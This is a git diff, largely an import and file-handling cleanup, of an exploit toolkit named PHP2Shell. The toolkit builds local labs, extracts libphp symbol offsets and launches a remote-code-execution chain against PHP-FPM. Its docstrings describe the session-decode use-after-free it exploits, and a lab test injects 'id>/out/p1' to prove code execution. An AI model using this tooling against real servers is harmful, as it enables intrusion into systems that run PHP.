""" + patch = fixed_in(version) + if patch is None: + return True + return parse(version) < parse(patch) + + +def is_fixed(version: str) -> bool: + """True when the release contains ``php_basic_early_rinit()``.""" + return not is_vulnerable(version) + + +def affected_versions() -> list[str]: + """The newest vulnerable release of every tracked branch, oldest first.""" + out = [] + for branch, meta in sorted(BRANCHES.items()): + last = meta["last_release"] + if meta["fixed_in"] is None: + out.append(last) + else: + out.extend(f"{branch}.{n}" for n in range(0, parse(last)[2] + 1)) + return out + + +def ports_for(version: str) -> tuple[int, int, int, int]: + """Return ``(chain_http, builder_http, chain_fpm, builder_fpm)``. + + Known lab builds keep their historical ports; every other version gets a + deterministic block derived from its branch and patch level, so the lab + can run any pair of versions side by side without a port collision. + """ + legacy = LEGACY_PORTS.get(version) + if legacy: + return legacy + branch = branch_of(version) + meta = BRANCHES.get(branch) + if meta is None: + raise UnknownVersion( + f"no port block for branch {branch} (known: {sorted(BRANCHES)})") + slot = meta["slot"] * _SLOT_BLOCK + parse(version)[2] * 2 + return (_SLOT_BASE_HTTP + slot, _SLOT_BASE_HTTP + slot + 1, + _SLOT_BASE_FPM + slot, _SLOT_BASE_FPM + slot + 1) + + +def source_is_fixed(source: str) -> bool: + """Classify a PHP source tree or release tarball by its fix marker. + + The upstream fix introduced ``php_basic_early_rinit()``; a build without + it keeps the stale ``BG(unserialize)`` state this chain relies on. + """ + if os.path.isdir(source): + path = os.path.join(source, "ext", "standard", "basic_functions.c") + with open(path, encoding="utf-8", errors="replace") as handle: + return "php_basic_early_rinit" in handle.read() + with tarfile.open(source, "r:*") as tar: + for member in tar.getmembers(): + if not member.name.endswith("ext/standard/basic_functions.c"): + continue + handle = tar.extractfile(member) + if handle is None: + break + return b"php_basic_early_rinit" in handle.read() + raise UnknownVersion(f"no ext/standard/basic_functions.c in {source}") + + +def has_session_cancel_decode(source: str) -> bool: + """True when the build tears the session down on a decode bailout. + + ``php_session_decode`` wraps the serializer in ``zend_try/zend_catch`` + and calls ``php_session_cancel_decode()`` -> ``php_session_destroy()``, + which frees the ``php_unserialize_data`` struct the OOM left behind. + That freed slot is the one the chain reclaims. PHP <= 7.x has no such + path: the bailout skips ``PHP_VAR_UNSERIALIZE_DESTROY`` and nothing + frees the struct, so ``BG(unserialize).data`` keeps pointing at live + memory and there is no use-after-free to exploit. + """ + if os.path.isdir(source): + path = os.path.join(source, "ext", "session", "session.c") + with open(path, encoding="utf-8", errors="replace") as handle: + text = handle.read() + else: + with tarfile.open(source, "r:*") as tar: + text = "" + for member in tar.getmembers(): + if member.name.endswith("ext/session/session.c"): + handle = tar.extractfile(member) + if handle is not None: + text = handle.read().decode("utf-8", "replace") + break + return "php_session_cancel_decode" in text + + +def chain_applies(version: str) -> bool: + """Whether this repository's chain can apply to a version at all. + + The version string only tells the supported branches apart (8.0+); a + real build is classified with :func:`has_session_cancel_decode`, which + reads the source instead of trusting the version. + """ + major, minor, _patch = parse(version) + return (major, minor) >= (8, 0) + + +def build_status(binary: str) -> str: + """Return the version string a php-fpm binary reports.""" + proc = subprocess.run([binary, "-v"], capture_output=True, text=True) + if proc.returncode != 0: + raise RuntimeError(f"{binary} -v failed: {proc.stderr.strip()}") + match = re.search(r"PHP (\d+\.\d+\.\d+)", proc.stdout) + if not match: + raise RuntimeError(f"cannot parse version from {proc.stdout!r}") + return match.group(1) diff --git a/tools/php2shell_inventory.py b/tools/php2shell_inventory.py index be3ace7..e849385 100644 --- a/tools/php2shell_inventory.py +++ b/tools/php2shell_inventory.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """Inventory the generated PHP2Shell profiles. Reads every JSON profile in profiles/ and prints the offsets and heap @@ -27,7 +26,7 @@ def load_profiles(directory: str): rows = [] for path in sorted(glob.glob(os.path.join(directory, "*.json"))): try: - with open(path, "r", encoding="utf-8") as fh: + with open(path, encoding="utf-8") as fh: data = json.load(fh) except (OSError, ValueError): continue diff --git a/tools/php2shell_labs.py b/tools/php2shell_labs.py index 86f8fae..7cdac0a 100755 --- a/tools/php2shell_labs.py +++ b/tools/php2shell_labs.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_labs.py — disposable local laboratories for the PHP builds in the profile/offset inventory. @@ -22,15 +21,17 @@ """ from __future__ import annotations -from php2shell_paths import default_repo_dir, prepare_lab_out import argparse +import contextlib import os import subprocess import sys import time import urllib.request +from php2shell_paths import default_repo_dir, prepare_lab_out + HERE = os.path.dirname(os.path.abspath(__file__)) ROOT = os.path.dirname(HERE) LAB = os.path.join(ROOT, "lab", "rce") @@ -112,10 +113,8 @@ def test(): results.append((version, "not running", "")) continue proof = os.path.join(OUT, version, "p1") - try: + with contextlib.suppress(OSError): os.unlink(proof) - except OSError: - pass cmd = [sys.executable, os.path.join(HERE, "php2shell_auto.py"), "-u", f"http://127.0.0.1:{port}/index.php", "-c", "id>/out/p1", "--repo-dir", REPO, @@ -125,9 +124,10 @@ def test(): output = (result.stdout + result.stderr).strip().splitlines() print("\n".join(output[-6:]), flush=True) if result.returncode == 0 and os.path.isfile(proof): - results.append((version, "RCE", open(proof).read().strip())) + with open(proof) as handle: + results.append((version, "RCE", handle.read().strip())) else: - results.append((version, "no RCE (exit %d)" % result.returncode, "")) + results.append((version, f"no RCE (exit {result.returncode})", "")) print("\n=== summary ===") for version, status_text, proof in results: print(f" {version:8} {status_text:24} {proof}") diff --git a/tools/php2shell_matrix.py b/tools/php2shell_matrix.py index cfdc83d..d95462e 100755 --- a/tools/php2shell_matrix.py +++ b/tools/php2shell_matrix.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_matrix.py — profile factory for the PHP2Shell RCE chain. @@ -18,7 +17,6 @@ """ from __future__ import annotations -from php2shell_paths import default_repo_dir, prepare_lab_out import argparse import json @@ -30,6 +28,8 @@ import time import urllib.request +from php2shell_paths import default_repo_dir, prepare_lab_out + HERE = os.path.dirname(os.path.abspath(__file__)) ROOT = os.path.dirname(HERE) LAB = os.path.join(ROOT, "lab", "rce") @@ -131,7 +131,8 @@ def run_build(build, args) -> dict: rce = False if os.path.isfile(profile): try: - data = json.load(open(profile, encoding="utf-8")) + with open(profile, encoding="utf-8") as handle: + data = json.load(handle) rce = bool(data.get("rce")) status = "rce" if rce else "leaks-only" except ValueError: diff --git a/tools/php2shell_offsets.py b/tools/php2shell_offsets.py index fc11104..a0ed849 100644 --- a/tools/php2shell_offsets.py +++ b/tools/php2shell_offsets.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_offsets.py — extract libphp symbol offsets from PHP Docker images. @@ -61,7 +60,8 @@ def docker(*args, timeout=900, text=True): def parse_elf(path: str): - data = open(path, "rb").read() + with open(path, "rb") as handle: + data = handle.read() if data[:4] != b"\x7fELF" or data[4] != 2 or data[5] != 1: raise ValueError("not a little-endian ELF64 file") e_phoff, = struct.unpack_from(" dict: if not lib: return {"image": image, "status": "libphp not found"} bias, symbols = parse_elf(lib) - sha = hashlib.sha256(open(lib, "rb").read()).hexdigest() + with open(lib, "rb") as handle: + sha = hashlib.sha256(handle.read()).hexdigest() env = image_env(image) version = env.get("PHP_VERSION", "") if not version: @@ -193,7 +194,7 @@ def write_doc(results) -> None: entries = {} for path in glob.glob(os.path.join(OUT, "*.json")): try: - with open(path, "r", encoding="utf-8") as fh: + with open(path, encoding="utf-8") as fh: item = json.load(fh) except (OSError, ValueError): continue diff --git a/tools/php2shell_paths.py b/tools/php2shell_paths.py index 80ddbfe..7d51b6e 100644 --- a/tools/php2shell_paths.py +++ b/tools/php2shell_paths.py @@ -3,6 +3,7 @@ from __future__ import annotations +import contextlib import os from pathlib import Path @@ -15,10 +16,8 @@ def prepare_lab_out(path: str | Path) -> str: """Create a lab output directory the container user can write to.""" target = Path(path) target.mkdir(parents=True, exist_ok=True) - try: + with contextlib.suppress(OSError): target.chmod(0o777) - except OSError: - pass return str(target) diff --git a/tools/php2shell_rce.py b/tools/php2shell_rce.py index 8c7739a..5fe4ed8 100755 --- a/tools/php2shell_rce.py +++ b/tools/php2shell_rce.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_rce.py — launcher for the verified PHP2Shell RCE chain. @@ -36,8 +35,6 @@ """ from __future__ import annotations -from php2shell_paths import default_repo_dir -from php2shell_upstream import patch_params, patch_tls import argparse import ipaddress @@ -47,6 +44,9 @@ import sys import urllib.parse +from php2shell_paths import default_repo_dir +from php2shell_upstream import patch_params, patch_tls + DEFAULT_DIR = default_repo_dir() diff --git a/tools/php2shell_ui.py b/tools/php2shell_ui.py index 13f868c..5fa1f0c 100644 --- a/tools/php2shell_ui.py +++ b/tools/php2shell_ui.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """Terminal UI helpers for the PHP2Shell toolkit.""" from __future__ import annotations diff --git a/tools/php2shell_upstream.py b/tools/php2shell_upstream.py index 9d09b57..0f270e6 100644 --- a/tools/php2shell_upstream.py +++ b/tools/php2shell_upstream.py @@ -15,7 +15,7 @@ def _read(repo: str) -> tuple[str, str] | None: path = os.path.join(repo, "exploit.py") try: - with open(path, "r", encoding="utf-8") as fh: + with open(path, encoding="utf-8") as fh: return path, fh.read() except OSError: return None